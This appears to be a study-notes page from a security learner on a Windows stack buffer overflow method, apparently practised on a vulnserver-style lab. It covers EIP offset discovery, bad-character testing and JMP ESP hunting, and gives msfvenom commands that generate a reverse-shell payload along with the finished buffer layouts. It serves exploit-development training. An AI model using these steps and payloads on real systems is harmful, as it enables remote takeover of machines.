Skip to content

General buffer overflow methodology #

High-level #

  1. crash (FUZZ/SPIKE)
  2. replicate crash
  3. Find/Controlling EIP exact byte
  4. Make sure space for shellcode is enough
  5. Find Bad Characters
  6. Find JMP function
  7. Make shellcode * pop calc
  8. Make shellcode * reverse_shell
  9. Try to exit payload gracefully

Detailed Instructions #

  • Load service in Immunity Debugger
  • Fuzz using
  • Replicate Crash using
  • Find bytes by sending unique string
    • 1
      /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <number_of_buffer>
    • Plugin it
      • Swap "A"s with pattern_create output
    • !mona findmsp
    • or
    • 1
      /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <number_of_buffer> -q <value_in_register>
  • Modify to "A"*<result_from_pattern_offset.rb> + "B"*4 + "C"*<value of As and Bs * original buffer used for crashing the application>
    • i.e. buffer = 'A'*2606+'B'*4+'C'*(3100-2606-4)
  • Find where to put shellcode and redirect/replace value of the EIP register (Bs or 42424242)
    • Usually where the Cs are (ESP? EAX?) or probably the As?
      • Find out if the As or Cs or the suitable location of payload is 350 bytes to 400 bytes in size (average size of shellcode)
        • If not try to increase buffer size (Replicate Crashing using above)
          • "C"*(NEW_SIZE * <EXISTING FORMULA>)
            • i.e. "C"*2700-2606-4
            • i.e. "C"*3500-2606-4
            • i.e. "C"*4000-2606-4
          • Note: This does not always work, try to point to the As such as via EAX or other registers by making shellcode on the C section to JMP to EAX or do it straight from EIP (JMP EAX) or JMP ESP if it is to be placed there
            • Do this NASM shell after you found the Bad Characters below since it would be a criteria in choosing base addresses without the bad chars
            • i.e.
              ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
              • add eax,12
              • jmp eax
  • Find Bad Characters

    • Usually NULL Bytes character \x00
      • For Mail Servers and others, the Carriage Return \x0d
    • Add long string of all hex character combinations

      • "A"*<result_from_pattern_offset.rb> + "B"*4 + badchars
        # all 255 bytes
        badchars = ( 
        "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
    • Look at what hex values disappear at the C section/badchars section and repeat till every badchar is knocked out of the list

      • take note of the bad chars
  • Due to ASLR and random address for threaded stack based programs, find natural occurring jumps to be consistent JMP <REGISTER_where_payload_is_observed_to_start>

    • i.e. JMP ESP or JMP EAX depending of where the payload would start
    • !mona modules
      • Look at "Log data" window
      • Criteria to choose instruction (DLL)
        • ASLR = False
        • DEP = False
        • Rebase = False
        • Memory range (Base) of the module (DLL) itself does not contain the bad characters (First four(4) bytes should not have bad chars)
          • i.e. 0x10000000 and 0x00400000 has bad chars
          • i.e. 0x5f400000 has no bad chars
      • Find a naturally occurring JMP at the chosen module (DLL) (modules tab, Go to executable tab ("e") click on the module/property/dll, it will redirect to you the CPU register window the ++Ctrl+F++ to find the instruction JMP ###)
        • !mona jmp -r esp -m '<module_chosen>'
          • i.e. !mona jmp -r esp -m 'essfunc.dll'
        • find (Ctrl+F)
          • JMP ESP
          • (or)
          • (Sequence) (right click, Search for, sequence of commands)
            • push esp
            • retn
        • if instructions does not exist go to "m" tab since the initial search (Ctrl+F) only looks at the executable tagged ("E") areas/files only
          • if module chosen earlier does not have DEP or ASLR then use any Readable "R" file and find the naturally occurring JMPs there
            • find op code of JMP ESP
              • ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
                • jmp esp
                  • i.e. jmp esp == FFE4
              • !mona find -s "\xff\xe4" -m <target_module>
                • i.e. !mona find -s "\xff\xe4" -m slmfc.dll
                • choose address that does not contain any bad characters
            • Go to address and verify JMP <REGISTER> code
            • copy the address and replace the "B"s in
              • remember to write address in reverse because x86 arch stores address in memory using little endian format
            • test the code and place a breakpoint F2 on the JMP <REGISTER> address just to see if on the actual BOF, it places the right address in the right order in EIP
  • Pop calc!

    • calc.exe:
      msfvenom -p windows/exec EXITFUNC=thread CMD=calc.exe -f python -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -v shellcode_calc
  • 1
    msfvenom -p windows/shell_reverse_tcp LHOST=<lhost> EXITFUNC=<process/thread/seh> LPORT=<lport> -f <language> -a <arch> --platform <platform> -b "<bad chars>" -e <encoder> -v shellcode_rev
    • i.e.
      msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=7777 EXITFUNC=thread -f python -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode_rev
    • Troubleshooting calc.exe:
      msfvenom -p windows/exec EXITFUNC=thread CMD=calc.exe -f python -v shellcode_calc -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai
    • other payload =
    • copy shellcode to
    • Adjust buffer length
      • i.e. "A"*2606 + "\x8f\x35\x4a\x5f" + shellcode + "C"*(3500-2606-4-351)
    • Decoder Stub avoidance:
      • EASY MODE: Add NOPs \x90 to stack space for shellcode to work with * ~16 NOPs enough
      • PRO MODE: Use sub esp,0x10 \x83\xec\x10 or sub eax,0x10 \x83\xe8\x10 instead, saves precious buffer space
      • Use ruby nasm to know opcode value
    • EXITFUNC = thread for threaded applications, process and seh for IDK?
    • Adjust buffer length again to accommodate NOPs
      • i.e. "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode + "C"*(3500-2606-4-351-16)
    • Other shellcodes Shell-storm

Shortcuts #

  • F2 : Place breakpoint
  • F7 : play (each instruction/execution flow)
  • Ctrl+F7 : Autoplay slowly
  • F9 : play till crash or forever

Observations #

  • Try different JMP ESPaddress = Works
  • Try without shikata_ga_nai = will not avoid bad chars without encoding
  • Try without NOPs sled = It does overwrite itself indeed
  • Try NOPs sled only 8 as per guide = works, it turns out it is fine to overwrite the first 8 bytes of shellcode/encoder

Last update: January 22, 2021